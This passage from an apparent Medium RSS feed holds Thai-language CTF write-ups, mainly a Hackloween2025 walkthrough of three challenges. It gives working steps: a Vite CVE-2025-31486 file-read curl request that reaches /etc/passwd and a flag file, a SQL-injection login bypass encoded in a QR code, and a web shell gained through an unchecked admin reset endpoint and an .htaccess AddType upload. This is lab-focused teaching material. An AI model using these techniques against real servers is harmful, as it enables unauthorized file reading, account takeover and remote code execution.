— — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*qBzCugUB9_-jbTQQmBmobA.jpeg" /><figcaption>🥶</figcaption></figure><p>สนุกมากๆครับที่ได้ร่วมเข้าแข่งขัน platform ไม่ล่ม โจทย์มีให้เล่นเยอะและสนุกมากๆครับ หวังว่าจะมีกิจกรรมแบบนี้ไปทุกปี ต้องขอขอบคุณทาง SecPlayground และทีมงานที่จัดอีเว้นดีๆแบบนี้ให้มาตลอดนะครับ และ หาก write-up ผมมีข้อมูลผิดพลาดประการใด ต้องขออภัยมา ณ ตรงนี้ด้วยนะครับ อีเว้นหน้าเจอผมเหมือนเดิม ฺbye</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abG4c9YpSas60e5v66lwqw.png" /><figcaption>I love pb</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*SZPUABCG5Dj8eZmmEBQb5w.png" /><figcaption>+676767 credit</figcaption></figure><p><a href="https://www.facebook.com/hashtag/secplayground?__eep__=6&amp;__cft__[0]=AZbqwMXKfJ6Z6-WhIpLH5WpwOFXgfnKa3OfNZnCMB2UkyDwaTPd7Ba58X9vzNbMDSZBPkM2jp-iwdcQUnmVGNbXEof0Z9cwg_dp27pvgQHKGWlqC7sgPUKFaFSzkAk0H44oK6D9PIzFKwSbb6l31DhFHf8uAZm0n8SA-1PQWCFb4J1KNV9oqm2lLH42-A-VYrw8&amp;__tn__=*NK-R">#SECPlayground</a><a href="https://www.facebook.com/hashtag/learningbydoing?__eep__=6&amp;__cft__[0]=AZbqwMXKfJ6Z6-WhIpLH5WpwOFXgfnKa3OfNZnCMB2UkyDwaTPd7Ba58X9vzNbMDSZBPkM2jp-iwdcQUnmVGNbXEof0Z9cwg_dp27pvgQHKGWlqC7sgPUKFaFSzkAk0H44oK6D9PIzFKwSbb6l31DhFHf8uAZm0n8SA-1PQWCFb4J1KNV9oqm2lLH42-A-VYrw8&amp;__tn__=*NK-R"> #LearningByDoing</a><a href="https://www.facebook.com/hashtag/cybersecurity?__eep__=6&amp;__cft__[0]=AZbqwMXKfJ6Z6-WhIpLH5WpwOFXgfnKa3OfNZnCMB2UkyDwaTPd7Ba58X9vzNbMDSZBPkM2jp-iwdcQUnmVGNbXEof0Z9cwg_dp27pvgQHKGWlqC7sgPUKFaFSzkAk0H44oK6D9PIzFKwSbb6l31DhFHf8uAZm0n8SA-1PQWCFb4J1KNV9oqm2lLH42-A-VYrw8&amp;__tn__=*NK-R"> #Cybersecurity</a><a href="https://www.facebook.com/hashtag/secplaygroundctf?__eep__=6&amp;__cft__[0]=AZbqwMXKfJ6Z6-WhIpLH5WpwOFXgfnKa3OfNZnCMB2UkyDwaTPd7Ba58X9vzNbMDSZBPkM2jp-iwdcQUnmVGNbXEof0Z9cwg_dp27pvgQHKGWlqC7sgPUKFaFSzkAk0H44oK6D9PIzFKwSbb6l31DhFHf8uAZm0n8SA-1PQWCFb4J1KNV9oqm2lLH42-A-VYrw8&amp;__tn__=*NK-R"> #SECPlaygroundCTF</a><a href="https://www.facebook.com/hashtag/ctf?__eep__=6&amp;__cft__[0]=AZbqwMXKfJ6Z6-WhIpLH5WpwOFXgfnKa3OfNZnCMB2UkyDwaTPd7Ba58X9vzNbMDSZBPkM2jp-iwdcQUnmVGNbXEof0Z9cwg_dp27pvgQHKGWlqC7sgPUKFaFSzkAk0H44oK6D9PIzFKwSbb6l31DhFHf8uAZm0n8SA-1PQWCFb4J1KNV9oqm2lLH42-A-VYrw8&amp;__tn__=*NK-R"> #CTF</a><a href="https://www.facebook.com/hashtag/secplaygroundbloodyxmas?__eep__=6&amp;__cft__[0]=AZbqwMXKfJ6Z6-WhIpLH5WpwOFXgfnKa3OfNZnCMB2UkyDwaTPd7Ba58X9vzNbMDSZBPkM2jp-iwdcQUnmVGNbXEof0Z9cwg_dp27pvgQHKGWlqC7sgPUKFaFSzkAk0H44oK6D9PIzFKwSbb6l31DhFHf8uAZm0n8SA-1PQWCFb4J1KNV9oqm2lLH42-A-VYrw8&amp;__tn__=*NK-R"> #SECPlaygroundBloodyXmas</a><a href="https://www.facebook.com/hashtag/secplaygroundbloodyxmas2025?__eep__=6&amp;__cft__[0]=AZbqwMXKfJ6Z6-WhIpLH5WpwOFXgfnKa3OfNZnCMB2UkyDwaTPd7Ba58X9vzNbMDSZBPkM2jp-iwdcQUnmVGNbXEof0Z9cwg_dp27pvgQHKGWlqC7sgPUKFaFSzkAk0H44oK6D9PIzFKwSbb6l31DhFHf8uAZm0n8SA-1PQWCFb4J1KNV9oqm2lLH42-A-VYrw8&amp;__tn__=*NK-R"> #SECPlaygroundBloodyXmas2025</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7665750686f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SEC Playground Hackloween2025 CTF write-up [Web Aplication Security & Pwnable+Pentest] by d3kc4rt_1]]></title>
            <link>https://medium.com/@pammer434/sec-playground-hackloween2025-ctf-write-up-web-aplication-security-pwnable-pentest-by-d3kc4rt-1-539f8c86d9f8?source=rss-915ede29ab23------2</link>
            <guid isPermaLink="false">https://medium.com/p/539f8c86d9f8</guid>
            <dc:creator><![CDATA[d3kc4rt_1]]></dc:creator>
            <pubDate>Sun, 02 Nov 2025 09:00:33 GMT</pubDate>
            <atom:updated>2026-01-30T13:37:44.353Z</atom:updated>
            <content:encoded><![CDATA[<p>สวัสดีครับ เมื่อวันที่ 1–2 พฤศจิกายน 2025 ที่ผ่านมา SECplayground ได้จัดกิจกรรม Hackloween2025 ซึ่งเป็นงานแข่งขัน CTF ใน theme ของวัน Haloween โดยเขาจัดขึ้นทุกๆปีอยู่แล้ว ปีนี้ก็ไม่พลาดครับ ไปลุยกันน 🦇⚰️🎃</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*-o1tdBrJqvqfjJeD15bl7g.png" /><figcaption><a href="https://www.facebook.com/secplayground">https://www.facebook.com/secplayground</a></figcaption></figure><p>โดย Write-up นี้ผมจะยกโจทย์โหมด <strong>Web Application Security </strong>2 ข้อ และ <strong>Pwnable+Pentest </strong>1 ข้อ ที่ผม sovle ได้มานะครับ</p><h4><strong>Web Application Security</strong></h4><ul><li>1. Dev-test (10pts.)</li><li>2. The Login (10pts.)</li></ul><h4>Pwnable + Pentest</h4><ul><li>1. Wiki#1 (10pts.)</li></ul><h3><strong>Dev-Test (10 pts.) </strong>[ Web Application Security]</h3><blockquote>The development was exposed to the internet, please find the way to read /tmp/flag.txt<br>Flag format : web{…..}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cSt1TVTe4ZhvVGX3nwX3w.png" /><figcaption>Target</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*TKzDCbpC0hd6mbXJNl8mog.png" /><figcaption>package.json</figcaption></figure><p>ข้อนี้เปิด Target มาเราจะเจอกับปุ่มที่ให้ดาวโหลด Source Code ก็กดโหลดมาใช้ได้ปกติ พอเข้าไปเช็คจะเจอไฟล์ package.json ที่เก็บ version ของ project ตอนนี้เราเลยรู้แล้วว่ามันคือ Vite version ≥ 6.2.5 ซึ่งความบังเอิญที่ก่อนหน้านี้ผมได้เล่น<strong> </strong><a href="https://www.facebook.com/dropctf"><strong>Tempest CTF ของ DropCTF </strong></a>ที่มีโจทย์ให้ exploit ช่องโหว่ของ Vite ประมาณนี้พอดี เป็นช่องโหว่ <strong>CVE-2025–30208 </strong>Vite Arbitrary File Read via @fs Path Traversal Bypass ซึ่งก็ตรงกับเป้าหมายโจทย์พอดีที่อยากให้เราไปอ่านไฟล์ /tmp/flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*MK5UJJqz8odlDhg4myJ0VA.png" /><figcaption><a href="https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w">https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w</a></figcaption></figure><p>แต่ถ้าพอลองใช้ดูพบว่า exploit ไม่ได้ (server.fs.deny) อาจจะเป็นเพราะว่า Vite 6.2.5 นั้น patch ช่องโหว่นี้ไปแล้ว ผมตัดสินใจกด hints ดู จนได้คำใบ้ว่า <strong>เป็นช่องโหว่ CVE-2025 อะไรสักอย่างที่เกี่ยวกับ Vite </strong>หมายความมว่ายังมีช่องโหว่อื่นอยู่อีกด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Cvrx9TQByCJt5lxbrh_Cg.png" /><figcaption><a href="https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x">https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x</a></figcaption></figure><p>ก็ไปเจอกับ CVE-2025–31486 ที่บอกว่าด้วยการเพิ่ม ?.svg?.wasm?init หรือ sec-fetch-dest: script header จะทำให้เราสามารถ bypass server.fs.deny เพื่ออ่านไฟล์ได้ งั้นไปลองดูกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2lPAjXzvv6zBqEo6YXq-nA.png" /><figcaption>CVE-2025–31486</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*h3K30MMggLjNjoU9mLtLuA.png" /><figcaption>base64 decode</figcaption></figure><p>จากรูปภาพเราสามารถ bypass server.fs.deny เพื่ออ่านไฟล์ /etc/passwd ได้แล้ว <br>ก็แปลว่า CVE-2025–31486 นี้มีผลกับเว็บนี้จริงๆ</p><p>แต่ตอนที่ไปเอา flag ที่ <strong>/tmp/flag.txt </strong>server อาจจะยังไม่ยอม โดยเราต้องเพิ่ม header <strong>sec-fetch-dest: script</strong> ตอนส่ง request ไปด้วย เพื่อให้สามารถอ่านเนื้อหาในไฟล์ /tmp/flag.txt ได้</p><pre>$ curl -H &quot;sec-fetch-dest: script&quot; &quot;http://35.247.158.12:5173/tmp/flag.txt?.svg?.wasm?init&quot;  <br><br>VGhlIGZsYWcgaXMgd2Vie05va29HUkVCYXV9Cg==</pre><blockquote><strong>flag : web{NokoGREBau}</strong></blockquote><h3>The Login (10 pts.) [ Web Application Security]</h3><blockquote>We have a brand new website, please check it out.<br> Format flag : web{….}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FXdYYxa19GUe7ByDfoY3FQ.png" /><figcaption>Target</figcaption></figure><p>รอบนี้เป็นโจทย์หน้า Login ที่มีฟังก์ชันแบบ username/password แบบปกติ กับ username/password ที่เป็น qr code</p><pre> &lt;!-- Vulnerable QR login --&gt;<br>    &lt;div class=&quot;col&quot; aria-label=&quot;QR login&quot;&gt;<br>      &lt;h1 style=&quot;font-size:1.1rem; margin-bottom:14px;&quot;&gt;QR Login&lt;/h1&gt;<br>      &lt;form method=&quot;post&quot; action=&quot;/login&quot; enctype=&quot;multipart/form-data&quot;&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;login_type&quot; value=&quot;qr&quot;&gt;<br>        &lt;input class=&quot;qr-file&quot; type=&quot;file&quot; name=&quot;qrfile&quot; accept=&quot;image/*&quot; required&gt;<br>        &lt;button class=&quot;secondary&quot; type=&quot;submit&quot;&gt;Login with QR&lt;/button&gt;<br>      &lt;/form&gt;<br><br>      &lt;div class=&quot;meta&quot; style=&quot;margin-top:12px;&quot;&gt;<br>        QR content must be in the format &lt;code&gt;username:password&lt;/code&gt;. &lt;br&gt;<br> Please try our new way of login :)<br>      &lt;/div&gt;<br>    &lt;/div&gt;</pre><p>พอไปส่อง source code จะเห็นมีใบ้ว่าการ Login แบบ QR Login มีช่องโหว่อยู่<br>โดยแบบ qr codำ login จะ require ให้ใน contnet มี fomat เป็น<strong> username:password </strong>เพื่อให้ระบบเอา username/password ไปเช็คอีกที</p><p>ทีนี้ช่องโหว่อะไรมั่งละ ที่มันจะเป็นไปได้จากตรงนี้ โดยที่คลาสสิคสุดๆก็น่าจะเป็น <strong>sql injection </strong>ที่มักจะใช้ bypass หน้า login คำถามคือมันจะใช้ได้กับ qr login รึป่าวนะ เดี๋ยวไปลองดู</p><pre>qrencode -o test.png &quot;admin&#39; OR &#39;a&#39;=&#39;a:admin&quot;</pre><p>ใช้ qrencode เจนภาพ qr code ขึ้นมาโดยมี content เป็น username:password แต่เราจะทำให้มันเป็น payload ของ sql injection จากนั้นจะลองเอาไป login ดู</p><pre>└─$ curl -i -X POST &#39;http://136.110.49.72:5000/login&#39; -F &#39;login_type=qr&#39; -F &quot;qrfile=@test.png;filename=test.png&quot;<br>HTTP/1.1 200 OK<br>Server: Werkzeug/3.1.3 Python/3.11.13<br>Date: Sat, 01 Nov 2025 15:25:39 GMT<br>Content-Type: text/html; charset=utf-8<br>Content-Length: 1869<br>Vary: Cookie<br>Set-Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluJyBPUiAnYSc9J2EifQ.aQYmcw.A8qYyXNX6nXh6TrXwsjoockuDp4; HttpOnly; Path=/<br>Connection: close<br><br> .<br> .<br> .<br>      &lt;p class=&quot;flag&quot;&gt;FLAG: The flag is web{ieQQpaOJYb}&lt;/p&gt;<br> .<br> .<br> .</pre><blockquote><strong>flag : web{ieQQpaOJYb}</strong></blockquote><h3>Wiki#1 (10pts.) [ pwnable + pentest ]</h3><blockquote>DR. Mitchell’s so confident in her system that she’s offered a bonus if you can prove her wrong.<br>Flag format : pwnable{…}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHiv0xMgNurPWm3_svkCHA.png" /><figcaption>Target</figcaption></figure><p>รอบบนี้เขาบอกเป็นแบบ pentest เปิดเว็บมาผมก็ไปสมัครรหัสผ่านก่อนเลย<br>ก็ยังไม่เจออะไรผิดปกติ แล้วพอเข้า Login ได้เลยเพิ่งสังเกตุเห็นว่ามีลิงก์ไปดู API Document พอเข้าไปก็เจอของดี</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*HpX45E1e9NsXV7zogo-8JA.png" /><figcaption>/api</figcaption></figure><p>ใน API Document มันบอกว่าที่ <strong>path /admin-reset-password.php</strong> สามารถเปลี่ยนรหัสผ่านของ username ที่อะไรก็ได้โดยมี description บอกว่าเป็น endpoint สำหรับ admin ไว้ reset password<strong> แต่ว่ามันไม่เช็คว่า user ที่เข้าไปใช้งานเป็น admin รึป่าว ขอแค่เป็น user ที่ login พอ🤨</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*fuwWOYKRbGqdKNr73zUZcA.png" /><figcaption>/admin-reset-password.php</figcaption></figure><p>ผมลองเปลี่ยนรหัสผ่านของ adnin ปรากฏว่าเปลี่ยนได้จริง ก็ขออนุญาตเปลี่ยนเลยละกัน แล้วถ้าเราเอารหัสผ่านไป login ก็แปลว่าตอนนี้เราได้สิทธิ์ admin ของ เว็บนี้เรียบร้อย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*18jkrSa-yxnkmtqTeD04ZA.png" /><figcaption>Login ด้วย admin</figcaption></figure><p>พอได้ account admin มาแล้วก็จะไปเห็นว่าฟังก์ชัน 2 อย่างเพิ่มขึ้นมาที่แอดมินไปดูได้ คือ <strong>Admin Pannel</strong> และ <strong>File Manager</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ROe6C436AtjARQY4aBXuA.png" /><figcaption>/file-manager.php</figcaption></figure><p>ที่ /<strong>file-manager.php</strong> เราจะสามารถอัพโหลดไฟล์ได้ โดยมีข้อจำกัดว่าจะ<strong>ไม่สามารถ upload ไฟล์ขนาดเกิน 10 MB</strong> และมี <strong>blacklists ของนามสกุลไฟล์</strong>ด้วย ตรงนี้ถ้าเราลอง upload ดูก็จะพบว่าเว็บมีเงื่อนไขป้องกันอยู่จริงๆ แต่ถ้าไฟล์ที่ legit ก็สามารถอัพโหลดได้เช่นกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PbwelXGt7IQ6gxnpbCgI-w.png" /><figcaption>file upload test</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*X9k_KG0bPcSaHVlhmaOsxg.png" /><figcaption>/uploads/test.html</figcaption></figure><p>เมื่ออัพโหลดไฟล์ ไฟล์จะถูกนำไปเก็บที่<strong> /uploads </strong>จากที่เราเห็นว่าเราสามารถกดดูไฟล์ได้หลังจากการอัพโหลด กดลบได้ <strong>มีปุ่มให้เปลี่ยนชื่อไฟล์ด้วย แต่ปุ่มนั้นไม่สามารถกดได้ตรงๆ </strong>เมื่อไดูที่ source code ก็เจอต้นเหตุ</p><pre>    &lt;!-- Rename Modal --&gt;<br>    &lt;div class=&quot;modal fade&quot; id=&quot;renameModal&quot; tabindex=&quot;-1&quot;&gt;<br>        &lt;div class=&quot;modal-dialog&quot;&gt;<br>            &lt;div class=&quot;modal-content&quot;&gt;<br>                &lt;div class=&quot;modal-header&quot;&gt;<br>                    &lt;h5 class=&quot;modal-title&quot;&gt;Rename File&lt;/h5&gt;<br>                    &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot;&gt;&lt;/button&gt;<br>                &lt;/div&gt;<br>                &lt;form method=&quot;POST&quot;&gt;<br>                    &lt;div class=&quot;modal-body&quot;&gt;<br>                        &lt;input type=&quot;hidden&quot; name=&quot;old_name&quot; id=&quot;oldFileName&quot;&gt;<br>                        &lt;div class=&quot;mb-3&quot;&gt;<br>                            &lt;label for=&quot;newFileName&quot; class=&quot;form-label&quot;&gt;New File Name&lt;/label&gt;<br>                            &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;newFileName&quot; name=&quot;new_name&quot; required&gt;<br>                        &lt;/div&gt;<br>                    &lt;/div&gt;<br>                    &lt;div class=&quot;modal-footer&quot;&gt;<br>                        &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; data-bs-dismiss=&quot;modal&quot;&gt;Cancel&lt;/button&gt;<br>                        &lt;button type=&quot;submit&quot; name=&quot;rename_file&quot; class=&quot;btn btn-primary&quot;&gt;Rename&lt;/button&gt;<br>                    &lt;/div&gt;<br>                &lt;/form&gt;<br>            &lt;/div&gt;<br>        &lt;/div&gt;<br>    &lt;/div&gt;<br>.<br>.<br>.    <br>.<br>  &lt;script&gt;<br>        function showRenameModal(filename) {<br>            document.getElementById(&#39;oldFileName&#39;).value = filename;<br>            document.getElementById(&#39;newFileName&#39;).value = filename;<br>            new bootstrap.Modal(document.getElementById(&#39;renameModal&#39;)).show();<br>        }<br>    &lt;/script&gt;</pre><p>ที่ฝั่ง server code ของการเปลี่ยนชื่อไฟล์มี <strong>error ที่บรรทัดของ bootstrap </strong>แต่ดูเหมือนว่าเราจะสามารถเปลี่ยนชื่อไฟล์ได้จริงๆ ผมเลยลองไปยิง request เองดู</p><pre>└─$ curl -X POST http://34.124.162.169/file-manager.php -b &#39;PHPSESSID=ism5nh3brmp9nntpbhtfkiek2b;&#39; -H &#39;Content-Type: application/x-www-form-urlencoded&#39; --da<br>ta-urlencode &#39;old_name=test.html&#39; --data-urlencode &#39;new_name=test.php&#39; --data-urlencode &#39;rename_file=Rename&#39; -v<br>Note: Unnecessary use of -X or --request, POST is already inferred.<br>*   Trying 34.124.162.169:80...<br>* Connected to 34.124.162.169 (34.124.162.169) port 80<br>* using HTTP/1.x<br>&gt; POST /file-manager.php HTTP/1.1<br>&gt; Host: 34.124.162.169<br>&gt; User-Agent: curl/8.15.0<br>&gt; Accept: */*<br>&gt; Cookie: PHPSESSID=ism5nh3brmp9nntpbhtfkiek2b;<br>&gt; Content-Type: application/x-www-form-urlencoded<br>&gt; Content-Length: 55<br>&gt;<br>* upload completely sent off: 55 bytes<br>&lt; HTTP/1.1 200 OK<br>&lt; Date: Sat, 01 Nov 2025 08:45:59 GMT<br>&lt; Server: Apache/2.4.52 (Ubuntu)<br>&lt; X-Frame-Options: SAMEORIGIN<br>&lt; X-Content-Type-Options: nosniff<br>&lt; X-XSS-Protection: 1; mode=block<br>&lt; Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>&lt; Cache-Control: no-store, no-cache, must-revalidate<br>&lt; Pragma: no-cache<br>&lt; Vary: Accept-Encoding<br>&lt; Content-Length: 6249<br>&lt; Content-Type: text/html; charset=UTF-8<br>.<br>.<br>&lt;div class=&quot;alert alert-success&quot;&gt;File renamed successfully from test.html to test.php&lt;/div&gt;<br>.<br>.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*HPi63_P4L-qkHDBW68dj9Q.png" /><figcaption>/uploads/test.php</figcaption></figure><p>เราสามารถเปลี่ยนชื่อไฟล์ได้จริง แต่ดูเหมือนว่า server ก็ทำตัว block list ไม่ให้เข้าถึงไฟล์ที่นามสกุล .php ได้ (จะเจอ Error 403 Forbidden)</p><p>ตรงนี้ทำให้ผมไปเจอกับบทความนึงเกี่ยวกับการตั้งค่าไฟล์<strong> .htaccess</strong> <strong>ให้ server ทำกับ extension ที่กำหนดให้อ่านค่าเป็นไฟล์ PHP ได้</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*3YdxFvCHn3d9K4UBXgnoGQ.png" /><figcaption><a href="https://infosecwriteups.com/solution-breakdown-web-shell-upload-via-extension-blacklist-bypass-dedc51243379">https://infosecwriteups.com/solution-breakdown-web-shell-upload-via-extension-blacklist-bypass-dedc51243379</a></figcaption></figure><p>โดยที่ถ้าเราสามารถแก้ไขไฟล์ .htaccess ได้ เราจะสามารถใส่ content ในไฟล์เป็น <strong>AddType application/x-httpd-php .l33t </strong>เพื่อให้ server อ่านไฟล์ .l33t เป็น .php</p><p>โดยในโจทย์ข้อนี้ก็ที่ /file-manager.php ก็บอกเราตรงๆอยู่แล้วว่าเราสามารถอัพโหลดไฟล์ .htaccess ได้</p><p>โดยผมทดสอบว่ามันทำงานได้จริงมั้ยโดยการลองอัพโหลดไฟล์ .htaccess เพื่อก็ไข <strong>content ให้ Error 403 แสดงข้อความว่า “PWNED HAHAHA”</strong> แล้วเมื่อไปดูที่ไฟล์ .php ที่ server จะตั้งค่าไว้ให้เป็น error 403 ตลอด มันควรแสดงโชว์ข้อความที่ตั้งไว้เพื่อยืนยันว่าไฟล์ .htaccess ทำงานได้จริง</p><p>(ปล. ขออภัยด้วยครับลืมแคปรูปภาพ)</p><pre>Content-Disposition: form-data; name=&quot;upload_file&quot;; filename=&quot;.htaccess&quot;<br>Content-Type: text/plain<br><br>ErrorDocument 403 &quot;PWNED HAHAHA&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*fPR3bYPhFT329ie1IbNIxw.png" /><figcaption>/uploads/test.php</figcaption></figure><p>หลังจากที่ผมลองแก้ไข .htaccses และอัพโหลดไปแล้วพบว่า ที่ไฟล์นามสกุล .php ใน uploads/ มี content เปลี่ยนไปจริง <strong>แปลว่าเราสามารถทำให้ server อ่านไฟล์ .l33t เป็น php ตามบทความด้านบนได้ด้วย</strong></p><pre>Content-Disposition: form-data; name=&quot;upload_file&quot;; filename=&quot;.htaccess&quot;<br>Content-Type: text/plain<br><br>AddType application/x-httpd-php .l33t</pre><p>เมื่ออัพโหลดไฟล์ .htaccess แล้วที่เหลือก็แค่ upload web shell.php ที่เราจะเปลี่ยนชื่อให้มันเป็น <strong>.l33t </strong>ตาม config AddType ใน .htaccess ที่เราเพิ่งอัพโหลดไป<br>รอบนี้ไม่ต้องกลัว 403 หรือต้องเปลี่ยนชื่อไฟล์แล้ว เพราะ .l33t ไม่มีใน blacklists</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*pdSBv9SB-bLBRlpdk97JHQ.png" /><figcaption>/uploads/shell.l33t</figcaption></figure><p>จะเห็นว่าตอนนี้เราได้ web shell แล้วที่เหลือก็คือไปหา flag ซึ่งผมก็ไปเจอที่ /tmp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*xMuAJeCqiiC_faAEqkjiGw.png" /><figcaption>🎊</figcaption></figure><blockquote>Flag : pwnable{Br0k3n_Acc3ss_c0ntr07_aDm1n_r3s3t}</blockquote><p>(ปล. จิงๆข้อนี้มีต่อ flag 2 ที่ /root ด้วย แต่ผมหลังจาก ssh เข้าไปได้ก็ติดไปเป็นชั่วโมง T-T)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*XhwRYd_k5hMSChGYRSoYNw.png" /><figcaption>ลุยเดี่ยวมากับ RPG คับปีนี้</figcaption></figure><p>จบไปแล้วนะคับสำหรับ HackloweenCTF ปีนี้ SecPlayground จัดงานมาแบบไม่ผิดหวังที่รอจริงๆคับ โจทย์สนุก platform ไม่สะดุดเหมือนเดิม รอเล่น Event หน้าๆที่จะมาถึงด้วยหมือนเดิม ขอบคุณทุกท่านที่เข้ามาอ่าน ขอบคุณ SecPlayground สำหรับกิจกรรมดีๆที่มีมาตลอด หากบทความผมผิดพลาดอะไรก็ขออภัย ณ ตรงนี้ด้วยนะครับ 🙏</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*T8K9bBWeR_89eHdDpQ2Rig.jpeg" /><figcaption>Pov : ผมที่กลัวผีแล้วมาเจอกับไฟล์ bloody marry ตอนตีสาม</figcaption></figure><p><a href="https://www.facebook.com/hashtag/secplaygroundctf?__eep__=6&amp;__cft__[0]=AZVcw0OlSfyBEHNCFf-zQE2CELFvaKITI10eloXdXmywN0bv5fK_zxpmIyfdj_HLLAcTjc9eCXq4oBbLhe6PbcHJ9DdaPKIUusiQzPsopLpjkcc_48Z4AAgvTlOHp85yugwhrGfIvoBsiWy6j72ADPxHOSyS0dmuPg2EDELwUQDxGQ&amp;__tn__=*NK-R">#SECPlaygroundCTF</a> <a href="https://www.facebook.com/hashtag/ctf?__eep__=6&amp;__cft__[0]=AZVcw0OlSfyBEHNCFf-zQE2CELFvaKITI10eloXdXmywN0bv5fK_zxpmIyfdj_HLLAcTjc9eCXq4oBbLhe6PbcHJ9DdaPKIUusiQzPsopLpjkcc_48Z4AAgvTlOHp85yugwhrGfIvoBsiWy6j72ADPxHOSyS0dmuPg2EDELwUQDxGQ&amp;__tn__=*NK-R">#CTF</a> <a href="https://www.facebook.com/hashtag/secplaygroundhackloween?__eep__=6&amp;__cft__[0]=AZVcw0OlSfyBEHNCFf-zQE2CELFvaKITI10eloXdXmywN0bv5fK_zxpmIyfdj_HLLAcTjc9eCXq4oBbLhe6PbcHJ9DdaPKIUusiQzPsopLpjkcc_48Z4AAgvTlOHp85yugwhrGfIvoBsiWy6j72ADPxHOSyS0dmuPg2EDELwUQDxGQ&amp;__tn__=*NK-R">#SECPlaygroundHackloween</a> <a href="https://www.facebook.com/hashtag/secplaygroundhackloween2025?__eep__=6&amp;__cft__[0]=AZVcw0OlSfyBEHNCFf-zQE2CELFvaKITI10eloXdXmywN0bv5fK_zxpmIyfdj_HLLAcTjc9eCXq4oBbLhe6PbcHJ9DdaPKIUusiQzPsopLpjkcc_48Z4AAgvTlOHp85yugwhrGfIvoBsiWy6j72ADPxHOSyS0dmuPg2EDELwUQDxGQ&amp;__tn__=*NK-R">#SECPlaygroundHackloween2025</a> <a href="https://www.facebook.com/hashtag/cybersecuritychallenge?__eep__=6&amp;__cft__[0]=AZVcw0OlSfyBEHNCFf-zQE2CELFvaKITI10eloXdXmywN0bv5fK_zxpmIyfdj_HLLAcTjc9eCXq4oBbLhe6PbcHJ9DdaPKIUusiQzPsopLpjkcc_48Z4AAgvTlOHp85yugwhrGfIvoBsiWy6j72ADPxHOSyS0dmuPg2EDELwUQDxGQ&amp;__tn__=*NK-R">#CybersecurityChallenge</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=539f8c86d9f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Thailand Cyber Top Talent 2025 (Online-Senior) CTF Write-up [ Reverse-Engineering & Pwnable ]]]></title>
            <link>https://medium.com/@pammer434/thailand-cyber-top-talent-2025-online-senior-ctf-write-up-reverse-engineering-pwnable-b504347c762f?source=rss-915ede29ab23------2</link>
            <guid isPermaLink="false">https://medium.com/p/b504347c762f</guid>
            <category><![CDATA[pwnable]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[d3kc4rt_1]]></dc:creator>
            <pubDate>Sun, 31 Aug 2025 15:06:29 GMT</pubDate>
            <atom:updated>2025-08-31T16:15:49.311Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I5ljm5kM3yebbi3g" /></figure><p>งานใหญ่ประจำปีคับงานนี้ ผมลงรุ่น Senior แต่ไม่ได้ไปต่อ 😭😭</p><h4>Reverse Engineering &amp; Pwnable</h4><ul><li>1. nuke (100 pts)</li><li>2. Snot_doom (200 pts)</li><li>3. cyber_user (300 pts)</li></ul><h3>1. nuke (100 pts)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*3MkQ9YtI7nPVCTyVDwQkFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*RRqjHX3VX2biuUAbvmmTkw.png" /><figcaption>POV : Oppenheimer</figcaption></figure><p>รันโจทย์มาฟังก์ชันไรไม่รู้เยอะเกิน ไปลอง Decompile กัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*pS1g9C8n6dqQESTWND9McA.png" 